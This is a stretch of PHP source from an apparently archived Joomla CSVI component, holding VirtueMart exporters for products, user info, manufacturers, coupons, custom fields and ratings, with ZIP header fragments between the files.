// Check if we have any content otherwise use the default value if (strlen(trim($price)) == 0) $price = $field->default_value; // Check if the currency needs to be added if ($template->get('add_currency_to_price', 'general')) $price = $record->product_currency.' '.$price; // Perform the replacement rules $price = CsviHelper::replaceValue($field->replace, $price); // Export the data $this->addExportField($field->combine, $price, $fieldname, $field->column_header); break; case 'product_currency': $fieldvalue = $record->currency_code_3; // Check if we have any content otherwise use the default value if ($template->get('targetcurrency', 'product') != '') { $fieldvalue = $template->get('targetcurrency', 'product'); } if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'custom_shipping': // Get the prices $prices = $this->_getProductPrice($record->virtuemart_product_id); // Check the shipping cost if (isset($prices['salesprice'])) { $price_with_tax = number_format($prices['salesprice'], $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); $result = $helper->shippingCost($price_with_tax); if ($result) $fieldvalue = $result; } // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'manufacturer_name': $query = $db->getQuery(true); $query->select('mf_name'); $query->from('#__virtuemart_manufacturers_'.$template->get('language', 'general')); $query->leftJoin('#__virtuemart_product_manufacturers ON #__virtuemart_product_manufacturers.virtuemart_manufacturer_id = #__virtuemart_manufacturers_'.$template->get('language', 'general').'.virtuemart_manufacturer_id'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'shopper_group_name': $query = $db->getQuery(true); $query->select($db->qn($fieldname)); $query->from($db->qn('#__virtuemart_shoppergroups', 'g')); $query->leftJoin($db->qn('#__virtuemart_product_shoppergroups').' AS p ON g.virtuemart_shoppergroup_id = p.virtuemart_shoppergroup_id'); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); $db->setQuery($query); $csvilog->addDebug('Get shopper group', true); $titles = $db->loadColumn(); if (is_array($titles)) { $fieldvalue = CsviHelper::replaceValue($field->replace, implode('|', $titles)); // Check if we have any content otherwise use the default value } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'shopper_group_name_price': if ($record->virtuemart_shoppergroup_id > 0) { $query = $db->getQuery(true); $query->select($db->qn('shopper_group_name')); $query->from($db->qn('#__virtuemart_shoppergroups', 'g')); $query->where($db->qn('virtuemart_shoppergroup_id').' = '.$db->q($record->virtuemart_shoppergroup_id)); $db->setQuery($query); $csvilog->addDebug('Get price shopper group', true); $fieldvalue = $db->loadResult(); } else $fieldvalue = '*'; $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'custom_title': // Get the custom title $query = $db->getQuery(true); $query->select($db->qn('custom_title')); $query->from($db->qn('#__virtuemart_customs').' AS c'); $query->leftJoin($db->qn('#__virtuemart_product_customfields').' AS f ON c.virtuemart_custom_id = f.virtuemart_custom_id'); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); // Check if we need to filter $title_filter = array(); $title_filter = $template->get('custom_title', 'product', array(), 'array'); if (!empty($title_filter) && $title_filter[0] != '') { $query->where($db->qn('f').'.'.$db->qn('virtuemart_custom_id').' IN ('.implode(',', $title_filter).')'); } $query->order($db->qn('f').'.'.$db->qn('virtuemart_custom_id')); $db->setQuery($query); $titles = $db->loadResultArray(); if (is_array($titles)) { $fieldvalue = CsviHelper::replaceValue($field->replace, implode('~', $titles)); // Check if we have any content otherwise use the default value } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'custom_value': case 'custom_price': case 'custom_param': if (!isset($this->_customfields[$record->virtuemart_product_id][$fieldname])) { $query = $db->getQuery(true); $query->select($db->qn($fieldname)); $query->from($db->qn('#__virtuemart_product_customfields')); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); // Check if we need to filter $title_filter = array(); $title_filter = $template->get('custom_title', 'product', array()); if (!empty($title_filter) && $title_filter[0] != '') { $query->where($db->qn('virtuemart_custom_id').' IN ('.implode(',', $title_filter).')'); } $query->order($db->qn('virtuemart_custom_id')); $db->setQuery($query); $customfields = $db->loadObjectList(); $csvilog->addDebug('COM_CSVI_CUSTOM_FIELD_QUERY', true); if (!empty($customfields)) { $values = array(); foreach ($customfields as $customfield) { $values[] = $customfield->$fieldname; } $this->_customfields[$record->virtuemart_product_id][$fieldname] = $values; $fieldvalue = implode('~', $this->_customfields[$record->virtuemart_product_id][$fieldname]); } else $fieldvalue = ''; } else { $fieldvalue = implode('~', $this->_customfields[$record->virtuemart_product_id][$fieldname]); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'file_url': case 'file_url_thumb': $query = $db->getQuery(true); $query->select($db->qn($fieldname)); $query->from($db->qn('#__virtuemart_medias').' AS m'); $query->leftJoin($db->qn('#__virtuemart_product_medias').' AS p ON m.virtuemart_media_id = p.virtuemart_media_id'); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); $query->where($db->qn('file_type').' = '.$db->q('product')); $query->order('p.ordering'); $db->setQuery($query); $titles = $db->loadResultArray(); if (is_array($titles)) { $fieldvalue = CsviHelper::replaceValue($field->replace, implode('|', $titles)); // Check if we have any content otherwise use the default value } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'min_order_level': case 'max_order_level': if (strpos($record->product_params, '|')) { $params = explode('|', $record->product_params); foreach ($params as $param) { if ($param) { list($param_name, $param_value) = explode('=', $param); if ($param_name == $fieldname) { $fieldvalue = str_replace('"', '', $param_value); } } } } else $fieldvalue = ''; if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } /** * Convert prices to the new currency * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _convertPrice($product_price, $product_currency) { if (empty($product_price)) return $product_price; else { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // See if we need to convert the price if ($template->get('targetcurrency', 'product', '') != '') { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('currency_code, currency_rate'); $query->from('#__csvi_currency'); $query->where('currency_code IN ('.$db->q($product_currency).", ".$db->q($template->get('targetcurrency', 'product', 'EUR')).")"); $db->setQuery($query); $rates = $db->loadObjectList('currency_code'); /* Convert to base price */ $baseprice = $product_price / $rates[strtoupper($product_currency)]->currency_rate; /* Convert to destination currency */ return $baseprice * $rates[strtoupper($template->get('targetcurrency', 'product', 'EUR'))]->currency_rate; } else return $product_price; } } /** * Get product prices * * @copyright * @author RolandD * @todo * @see * @access public * @param int $product_id the ID of the product * @return * @since 4.0 */ private function _getProductPrice($product_id) { if (!isset($this->_prices[$product_id])) { // Define VM constant to make the classes work if (!defined('JPATH_VM_ADMINISTRATOR')) define('JPATH_VM_ADMINISTRATOR', JPATH_ADMINISTRATOR.'/components/com_virtuemart/'); // Load the configuration for the currency formatting require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/config.php'); // Include the calculation helper require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/calculationh.php'); $calc = calculationHelper::getInstance(); // Include the version class to compare require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php'); // Do a version check due to changed core code if (version_compare(vmVersion::$RELEASE, '2.0.6', '>')) { require_once(JPATH_ADMINISTRATOR.'/components/com_virtuemart/models/product.php'); $product = $this->getInstance('Product', 'VirtueMartModel'); $prices = $calc->getProductPrices($product->getProductSingle($product_id)); } else { $prices = $calc->getProductPrices($product_id); } if (is_array($prices)) $this->_prices[$product_id] = array_change_key_case($prices, CASE_LOWER); else $this->_prices[$product_id] = array(); } return $this->_prices[$product_id]; } }PK@y>\):components/com_csvi/models/com_virtuemart/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\kP9+9+Ccomponents/com_csvi/models/com_virtuemart/export/userinfoexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'virtuemart_user_id': case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'name': case 'agreed': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName($field->field_name); break; case 'full_name': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('first_name'); $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('middle_name'); $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('last_name'); break; case 'id': $userfields[] = $db->quoteName('#__users').'.'.$db->quoteName('id'); break; case 'usergroup_name': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('virtuemart_user_id'); break; case 'virtuemart_vendor_id': $userfields[] = $db->quoteName('#__virtuemart_vmusers').'.'.$db->quoteName('virtuemart_vendor_id'); break; case 'state_2_code': case 'state_3_code': case 'state_name': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('virtuemart_state_id'); break; case 'country_2_code': case 'country_3_code': case 'country_name': case 'virtuemart_country_id': $userfields[] = $db->quoteName('#__virtuemart_userinfos').'.'.$db->quoteName('virtuemart_country_id'); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_userinfos'); $query->leftJoin('#__virtuemart_vmusers ON #__virtuemart_vmusers.virtuemart_user_id = #__virtuemart_userinfos.virtuemart_user_id'); $query->leftJoin('#__virtuemart_vmuser_shoppergroups ON #__virtuemart_vmuser_shoppergroups.virtuemart_user_id = #__virtuemart_userinfos.virtuemart_user_id'); $query->leftJoin('#__virtuemart_vendors ON #__virtuemart_vendors.virtuemart_vendor_id = #__virtuemart_vmusers.virtuemart_vendor_id'); $query->leftJoin('#__virtuemart_shoppergroups ON #__virtuemart_shoppergroups.virtuemart_shoppergroup_id = #__virtuemart_vmuser_shoppergroups.virtuemart_shoppergroup_id'); $query->leftJoin('#__users ON #__users.id = #__virtuemart_userinfos.virtuemart_user_id'); // Check if there are any selectors $selectors = array(); // Filter by vendors $vendors = $template->get('vendors', 'userinfo', false); if ($vendors && $vendors[0] != 'none') { $selectors[] = '#__virtuemart_vmusers.virtuemart_vendor_id IN (\''.implode("','", $vendors).'\')'; } // Filter by permissions $permissions = $template->get('permissions', 'userinfo', false); if ($permissions && $permissions[0] != 'none') { $selectors[] = '#__virtuemart_vmusers.perms IN (\''.implode("','", $permissions).'\')'; } // Filter by address type $address = $template->get('userinfo_address', 'userinfo', false); if ($address) { $selectors[] = '#__virtuemart_userinfos.address_type = '.$db->Quote(strtoupper($address)); } // Filter by user info modified date start $date = $template->get('userinfomdatestart', 'userinfo', false); if ($date) { $userinfomdate = JFactory::getDate($date); $selectors[] = '#__virtuemart_userinfos.modified_on >= '.$db->Quote($userinfomdate->toMySQL()); } // Filter by user info date end $date = $template->get('userinfomdateend', 'userinfo', false); if ($date) { $userinfomdate = JFactory::getDate($date); $selectors[] = '#__virtuemart_userinfos.modified_on <= '.$db->Quote($userinfomdate->toMySQL()); } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Array of fields not to handle $ignore = array('full_name', 'usergroup_name', 'state_2_code', 'state_3_code', 'state_name', 'country_2_code', 'country_3_code', 'country_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', array('export' => $logcount)); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': case 'lastvisitdate': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'address_type': // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; if ($fieldvalue == 'BT') $fieldvalue = JText::_('COM_CSVI_BILLING_ADDRESS'); else if ($fieldvalue == 'ST') $fieldvalue = JText::_('COM_CSVI_SHIPPING_ADDRESS'); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'full_name': $fieldvalue = str_replace(' ', ' ', $record->first_name.' '.$record->middle_name.' '.$record->last_name); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'usergroup_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__usergroups'); $query->leftJoin('#__user_usergroup_map ON #__user_usergroup_map.group_id = #__usergroups.id'); $query->where($db->quoteName('user_id').' = '.$record->virtuemart_user_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'state_2_code': case 'state_3_code': case 'state_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_states'); $query->where('virtuemart_state_id = '.$record->virtuemart_state_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'country_2_code': case 'country_3_code': case 'country_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_countries'); $query->where('virtuemart_country_id = '.$record->virtuemart_country_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\u1  Gcomponents/com_csvi/models/com_virtuemart/export/manufacturerexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_manufacturer_id': $userfields[] = $db->quoteName('#__virtuemart_manufacturers').'.'.$db->quoteName('virtuemart_manufacturer_id'); break; case 'mf_category_name': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_manufacturers'); $query->leftJoin('#__virtuemart_manufacturers_'.$template->get('language', 'general').' ON #__virtuemart_manufacturers_'.$template->get('language', 'general').'.virtuemart_manufacturer_id = #__virtuemart_manufacturers.virtuemart_manufacturer_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_manufacturers.published = '.$db->Quote($publish_state); } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Fields to ignore $ignore = array('mf_category_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'mf_category_name': $query = $db->getQuery(true); $query->select('mf_category_name'); $query->from('#__virtuemart_manufacturercategories_'.$template->get('language', 'general')); $query->where('virtuemart_manufacturercategories_id = '.$record->virtuemart_manufacturercategories_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\#o,,;components/com_csvi/models/com_virtuemart/export/index.htmlnuW+APK@y>\^Acomponents/com_csvi/models/com_virtuemart/export/couponexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_coupons'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_coupons.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'coupon_value': case 'coupon_value_valid': $coupon_value = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $coupon_value = $field->default_value; $this->addExportField($field->combine, $coupon_value, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\O Fcomponents/com_csvi/models/com_virtuemart/export/customfieldexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'custom'; case 'vendor_name': break; case 'plugin_name': $userfields[] = $db->quoteName('#__virtuemart_customs').'.'.$db->quoteName('custom_jplugin_id'); break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_customs'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_customs.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore these fields $ignore = array('custom', 'plugin_name', 'vendor_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'plugin_name': if (!isset($this->_plugins[$record->custom_jplugin_id])) { $query = $db->getQuery(true); $query->select($db->quoteName('name')); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('extension_id').' = '.$db->Quote($record->custom_jplugin_id)); $query->where($db->quoteName('type').' = '.$db->Quote('plugin')); $db->setQuery($query); $name = $db->loadResult(); $this->_plugins[$record->custom_jplugin_id]= $name; } else $name = $this->_plugins[$record->custom_jplugin_id]; $name = CsviHelper::replaceValue($field->replace, $name); $this->addExportField($field->combine, $name, $fieldname, $field->column_header); break; case 'vendor_name': if (!isset($this->_vendors[$record->virtuemart_vendor_id])) { $query = $db->getQuery(true); $query->select($db->quoteName('vendor_name')); $query->from($db->quoteName('#__virtuemart_vendors')); $query->where($db->quoteName('virtuemart_vendor_id').' = '.$db->Quote($record->virtuemart_vendor_id)); $db->setQuery($query); $name = $db->loadResult(); $this->_vendors[$record->virtuemart_vendor_id]= $name; } else $name = $this->_vendors[$record->virtuemart_vendor_id]; $name = CsviHelper::replaceValue($field->replace, $name); $this->addExportField($field->combine, $name, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\"Acomponents/com_csvi/models/com_virtuemart/export/ratingexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'virtuemart_product_id': case 'published': $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName($field->field_name); break; case 'product_sku': case 'vote': $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName('virtuemart_product_id'); $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName('created_by'); break; case 'username': $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName('created_by'); // Man made fields, do not export them case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_rating_reviews'); $query->leftJoin('#__virtuemart_products ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_rating_reviews.virtuemart_product_id'); $query->leftJoin('#__users ON #__users.id = #__virtuemart_rating_reviews.created_by'); // Check for any filters $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_rating_reviews.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Fields to ignore $ignore = array('product_sku', 'vote', 'username'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) 